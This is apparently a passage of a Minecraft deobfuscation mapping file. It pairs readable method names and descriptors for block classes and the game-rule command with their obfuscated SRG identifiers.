net/minecraft/block/BlockMelon/func_149679_a (ILjava/util/Random;)I +MD: net/minecraft/block/BlockMelon/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockMelon/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockMelon/quantityDropped (Ljava/util/Random;)I net/minecraft/block/BlockMelon/func_149745_a (Ljava/util/Random;)I +MD: net/minecraft/block/BlockMobSpawner/createNewTileEntity (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; net/minecraft/block/BlockMobSpawner/func_149915_a (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; +MD: net/minecraft/block/BlockMobSpawner/dropBlockAsItemWithChance (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;FI)V net/minecraft/block/BlockMobSpawner/func_180653_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;FI)V +MD: net/minecraft/block/BlockMobSpawner/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockMobSpawner/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockMobSpawner/quantityDropped (Ljava/util/Random;)I net/minecraft/block/BlockMobSpawner/func_149745_a (Ljava/util/Random;)I +MD: net/minecraft/block/BlockMobSpawner/getRenderType ()I net/minecraft/block/BlockMobSpawner/func_149645_b ()I +MD: net/minecraft/block/BlockMobSpawner/isOpaqueCube ()Z net/minecraft/block/BlockMobSpawner/func_149662_c ()Z +MD: net/minecraft/block/BlockMobSpawner/getItem (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; net/minecraft/block/BlockMobSpawner/func_180665_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockMobSpawner/getBlockLayer ()Lnet/minecraft/util/EnumWorldBlockLayer; net/minecraft/block/BlockMobSpawner/func_180664_k ()Lnet/minecraft/util/EnumWorldBlockLayer; +MD: net/minecraft/block/BlockSilverfish$EnumType$1/getModelBlock ()Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockSilverfish$EnumType$1/func_176883_d ()Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockSilverfish$EnumType$2/getModelBlock ()Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockSilverfish$EnumType$2/func_176883_d ()Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockSilverfish$EnumType$3/getModelBlock ()Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockSilverfish$EnumType$3/func_176883_d ()Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockSilverfish$EnumType$4/getModelBlock ()Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockSilverfish$EnumType$4/func_176883_d ()Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockSilverfish$EnumType$5/getModelBlock ()Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockSilverfish$EnumType$5/func_176883_d ()Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockSilverfish$EnumType$6/getModelBlock ()Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockSilverfish$EnumType$6/func_176883_d ()Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockSilverfish$EnumType/getMetadata ()I net/minecraft/block/BlockSilverfish$EnumType/func_176881_a ()I +MD: net/minecraft/block/BlockSilverfish$EnumType/byMetadata (I)Lnet/minecraft/block/BlockSilverfish$EnumType; net/minecraft/block/BlockSilverfish$EnumType/func_176879_a (I)Lnet/minecraft/block/BlockSilverfish$EnumType; +MD: net/minecraft/block/BlockSilverfish$EnumType/forModelBlock (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/BlockSilverfish$EnumType; net/minecraft/block/BlockSilverfish$EnumType/func_176878_a (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/BlockSilverfish$EnumType; +MD: net/minecraft/block/BlockSilverfish$EnumType/getUnlocalizedName ()Ljava/lang/String; net/minecraft/block/BlockSilverfish$EnumType/func_176882_c ()Ljava/lang/String; +MD: net/minecraft/block/BlockSilverfish$EnumType/getModelBlock ()Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockSilverfish$EnumType/func_176883_d ()Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockSilverfish$EnumType/getName ()Ljava/lang/String; net/minecraft/block/BlockSilverfish$EnumType/func_176610_l ()Ljava/lang/String; +MD: net/minecraft/block/BlockSilverfish$EnumType/toString ()Ljava/lang/String; net/minecraft/block/BlockSilverfish$EnumType/toString ()Ljava/lang/String; +MD: net/minecraft/block/BlockSilverfish$EnumType/values ()[Lnet/minecraft/block/BlockSilverfish$EnumType; net/minecraft/block/BlockSilverfish$EnumType/values ()[Lnet/minecraft/block/BlockSilverfish$EnumType; +MD: net/minecraft/block/BlockSilverfish/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockSilverfish/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockSilverfish/dropBlockAsItemWithChance (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;FI)V net/minecraft/block/BlockSilverfish/func_180653_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;FI)V +MD: net/minecraft/block/BlockSilverfish/quantityDropped (Ljava/util/Random;)I net/minecraft/block/BlockSilverfish/func_149745_a (Ljava/util/Random;)I +MD: net/minecraft/block/BlockSilverfish/getSubBlocks (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/block/BlockSilverfish/func_149666_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/block/BlockSilverfish/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockSilverfish/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockSilverfish/canContainSilverfish (Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockSilverfish/func_176377_d (Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockSilverfish/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockSilverfish/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockSilverfish/createStackedBlock (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/item/ItemStack; net/minecraft/block/BlockSilverfish/func_180643_i (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/block/BlockSilverfish/getDamageValue (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I net/minecraft/block/BlockSilverfish/func_176222_j (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/command/CommandGameRule/getRequiredPermissionLevel ()I net/minecraft/command/CommandGameRule/func_82362_a ()I +MD: net/minecraft/command/CommandGameRule/func_175773_a (Lnet/minecraft/world/GameRules;Ljava/lang/String;)V net/minecraft/command/CommandGameRule/func_175773_a (Lnet/minecraft/world/GameRules;Ljava/lang/String;)V +MD: net/minecraft/command/CommandGameRule/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/CommandGameRule/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/CommandGameRule/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/CommandGameRule/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/CommandGameRule/getCommandName ()Ljava/lang/String; net/minecraft/command/CommandGameRule/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/CommandGameRule/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/CommandGameRule/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/command/CommandGameRule/getGameRules ()Lnet/minecraft/world/GameRules; net/minecraft/command/CommandGameRule/func_82366_d ()Lnet/minecraft/world/GameRules; +MD: net/minecraft/block/BlockMushroom/canGrow (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Z)Z net/minecraft/block/BlockMushroom/func_176473_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Z)Z +MD: net/minecraft/block/BlockMushroom/canUseBonemeal (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockMushroom/func_180670_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockMushroom/updateTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockMushroom/func_180650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockMushroom/grow (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockMushroom/func_176474_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockMushroom/canPlaceBlockOn (Lnet/minecraft/block/Block;)Z net/minecraft/block/BlockMushroom/func_149854_a (Lnet/minecraft/block/Block;)Z +MD: net/minecraft/block/BlockMushroom/canPlaceBlockAt (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockMushroom/func_176196_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockMushroom/generateBigMushroom (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)Z net/minecraft/block/BlockMushroom/func_176485_d (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)Z +MD: net/minecraft/block/BlockMushroom/canBlockStay (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockMushroom/func_180671_f (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockMycelium/getActualState (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockMycelium/func_176221_a (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockMycelium/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockMycelium/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockMycelium/updateTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockMycelium/func_180650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockMycelium/randomDisplayTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockMycelium/func_180655_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockMycelium/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockMycelium/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockMycelium/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockMycelium/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockNetherBrick/getMapColor (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; net/minecraft/block/BlockNetherBrick/func_180659_g (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; +MD: net/minecraft/block/BlockNetherWart/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockNetherWart/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockNetherWart/dropBlockAsItemWithChance (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;FI)V net/minecraft/block/BlockNetherWart/func_180653_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;FI)V +MD: net/minecraft/block/BlockNetherWart/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockNetherWart/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockNetherWart/quantityDropped (Ljava/util/Random;)I net/minecraft/block/BlockNetherWart/func_149745_a (Ljava/util/Random;)I +MD: net/minecraft/block/BlockNetherWart/updateTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockNetherWart/func_180650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockNetherWart/getItem (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; net/minecraft/block/BlockNetherWart/func_180665_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockNetherWart/canPlaceBlockOn (Lnet/minecraft/block/Block;)Z net/minecraft/block/BlockNetherWart/func_149854_a (Lnet/minecraft/block/Block;)Z +MD: net/minecraft/block/BlockNetherWart/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockNetherWart/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockNetherWart/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockNetherWart/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockNetherWart/canBlockStay (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockNetherWart/func_180671_f (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockNetherrack/getMapColor (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; net/minecraft/block/BlockNetherrack/func_180659_g (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; +MD: net/minecraft/block/BlockNewLeaf$1/apply (Lnet/minecraft/block/BlockPlanks$EnumType;)Z net/minecraft/block/BlockNewLeaf$1/apply (Lnet/minecraft/block/BlockPlanks$EnumType;)Z +MD: net/minecraft/block/BlockNewLeaf$1/apply (Ljava/lang/Object;)Z net/minecraft/block/BlockNewLeaf$1/apply (Ljava/lang/Object;)Z +MD: net/minecraft/block/BlockNewLeaf/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockNewLeaf/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockNewLeaf/dropApple (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;I)V net/minecraft/block/BlockNewLeaf/func_176234_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;I)V +MD: net/minecraft/block/BlockNewLeaf/harvestBlock (Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/tileentity/TileEntity;)V net/minecraft/block/BlockNewLeaf/func_180657_a (Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/tileentity/TileEntity;)V +MD: net/minecraft/block/BlockNewLeaf/damageDropped (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockNewLeaf/func_180651_a (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockNewLeaf/getSubBlocks (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/block/BlockNewLeaf/func_149666_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/block/BlockNewLeaf/getWoodType (I)Lnet/minecraft/block/BlockPlanks$EnumType; net/minecraft/block/BlockNewLeaf/func_176233_b (I)Lnet/minecraft/block/BlockPlanks$EnumType; +MD: net/minecraft/block/BlockNewLeaf/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockNewLeaf/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockNewLeaf/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockNewLeaf/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockNewLeaf/createStackedBlock (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/item/ItemStack; net/minecraft/block/BlockNewLeaf/func_180643_i (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/block/BlockNewLeaf/getDamageValue (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I net/minecraft/block/BlockNewLeaf/func_176222_j (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/block/BlockNewLog$1/apply (Lnet/minecraft/block/BlockPlanks$EnumType;)Z net/minecraft/block/BlockNewLog$1/apply (Lnet/minecraft/block/BlockPlanks$EnumType;)Z +MD: net/minecraft/block/BlockNewLog$1/apply (Ljava/lang/Object;)Z net/minecraft/block/BlockNewLog$1/apply (Ljava/lang/Object;)Z +MD: net/minecraft/block/BlockNewLog/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockNewLog/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockNewLog/damageDropped (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockNewLog/func_180651_a (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockNewLog/getSubBlocks (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/block/BlockNewLog/func_149666_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/block/BlockNewLog/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockNewLog/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockNewLog/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockNewLog/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockNewLog/getMapColor (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; net/minecraft/block/BlockNewLog/func_180659_g (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; +MD: net/minecraft/block/BlockNewLog/createStackedBlock (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/item/ItemStack; net/minecraft/block/BlockNewLog/func_180643_i (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/block/BlockStoneSlabNew$EnumType/getMetadata ()I net/minecraft/block/BlockStoneSlabNew$EnumType/func_176915_a ()I +MD: net/minecraft/block/BlockStoneSlabNew$EnumType/byMetadata (I)Lnet/minecraft/block/BlockStoneSlabNew$EnumType; net/minecraft/block/BlockStoneSlabNew$EnumType/func_176916_a (I)Lnet/minecraft/block/BlockStoneSlabNew$EnumType; +MD: net/minecraft/block/BlockStoneSlabNew$EnumType/func_181068_c ()Lnet/minecraft/block/material/MapColor; net/minecraft/block/BlockStoneSlabNew$EnumType/func_181068_c ()Lnet/minecraft/block/material/MapColor; +MD: net/minecraft/block/BlockStoneSlabNew$EnumType/getUnlocalizedName ()Ljava/lang/String; net/minecraft/block/BlockStoneSlabNew$EnumType/func_176918_c ()Ljava/lang/String; +MD: net/minecraft/block/BlockStoneSlabNew$EnumType/getName ()Ljava/lang/String; net/minecraft/block/BlockStoneSlabNew$EnumType/func_176610_l ()Ljava/lang/String; +MD: net/minecraft/block/BlockStoneSlabNew$EnumType/toString ()Ljava/lang/String; net/minecraft/block/BlockStoneSlabNew$EnumType/toString ()Ljava/lang/String; +MD: net/minecraft/block/BlockStoneSlabNew$EnumType/values ()[Lnet/minecraft/block/BlockStoneSlabNew$EnumType; net/minecraft/block/BlockStoneSlabNew$EnumType/values ()[Lnet/minecraft/block/BlockStoneSlabNew$EnumType; +MD: net/minecraft/block/BlockStoneSlabNew/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockStoneSlabNew/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockStoneSlabNew/damageDropped (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockStoneSlabNew/func_180651_a (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockStoneSlabNew/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockStoneSlabNew/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockStoneSlabNew/getSubBlocks (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/block/BlockStoneSlabNew/func_149666_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/block/BlockStoneSlabNew/getVariant (Lnet/minecraft/item/ItemStack;)Ljava/lang/Object; net/minecraft/block/BlockStoneSlabNew/func_176553_a (Lnet/minecraft/item/ItemStack;)Ljava/lang/Object; +MD: net/minecraft/block/BlockStoneSlabNew/getUnlocalizedName (I)Ljava/lang/String; net/minecraft/block/BlockStoneSlabNew/func_150002_b (I)Ljava/lang/String; +MD: net/minecraft/block/BlockStoneSlabNew/getItem (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; net/minecraft/block/BlockStoneSlabNew/func_180665_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockStoneSlabNew/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockStoneSlabNew/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockStoneSlabNew/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockStoneSlabNew/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockStoneSlabNew/getLocalizedName ()Ljava/lang/String; net/minecraft/block/BlockStoneSlabNew/func_149732_F ()Ljava/lang/String; +MD: net/minecraft/block/BlockStoneSlabNew/getMapColor (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; net/minecraft/block/BlockStoneSlabNew/func_180659_g (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; +MD: net/minecraft/block/BlockStoneSlabNew/getVariantProperty ()Lnet/minecraft/block/properties/IProperty; net/minecraft/block/BlockStoneSlabNew/func_176551_l ()Lnet/minecraft/block/properties/IProperty; +MD: net/minecraft/block/BlockNote/createNewTileEntity (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; net/minecraft/block/BlockNote/func_149915_a (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; +MD: net/minecraft/block/BlockNote/onBlockEventReceived (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;II)Z net/minecraft/block/BlockNote/func_180648_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;II)Z +MD: net/minecraft/block/BlockNote/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockNote/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockNote/onBlockActivated (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/block/BlockNote/func_180639_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/block/BlockNote/onBlockClicked (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/block/BlockNote/func_180649_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/block/BlockNote/getRenderType ()I net/minecraft/block/BlockNote/func_149645_b ()I +MD: net/minecraft/block/BlockNote/getInstrument (I)Ljava/lang/String; net/minecraft/block/BlockNote/func_176433_b (I)Ljava/lang/String; +MD: net/minecraft/block/BlockObsidian/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockObsidian/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockObsidian/getMapColor (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; net/minecraft/block/BlockObsidian/func_180659_g (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; +MD: net/minecraft/block/BlockOldLeaf$1/apply (Lnet/minecraft/block/BlockPlanks$EnumType;)Z net/minecraft/block/BlockOldLeaf$1/apply (Lnet/minecraft/block/BlockPlanks$EnumType;)Z +MD: net/minecraft/block/BlockOldLeaf$1/apply (Ljava/lang/Object;)Z net/minecraft/block/BlockOldLeaf$1/apply (Ljava/lang/Object;)Z +MD: net/minecraft/block/BlockOldLeaf/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockOldLeaf/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockOldLeaf/dropApple (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;I)V net/minecraft/block/BlockOldLeaf/func_176234_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;I)V +MD: net/minecraft/block/BlockOldLeaf/harvestBlock (Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/tileentity/TileEntity;)V net/minecraft/block/BlockOldLeaf/func_180657_a (Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/tileentity/TileEntity;)V +MD: net/minecraft/block/BlockOldLeaf/colorMultiplier (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;I)I net/minecraft/block/BlockOldLeaf/func_180662_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;I)I +MD: net/minecraft/block/BlockOldLeaf/damageDropped (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockOldLeaf/func_180651_a (Lnet/minecraft/block/state/IBlockState;)I +MD: 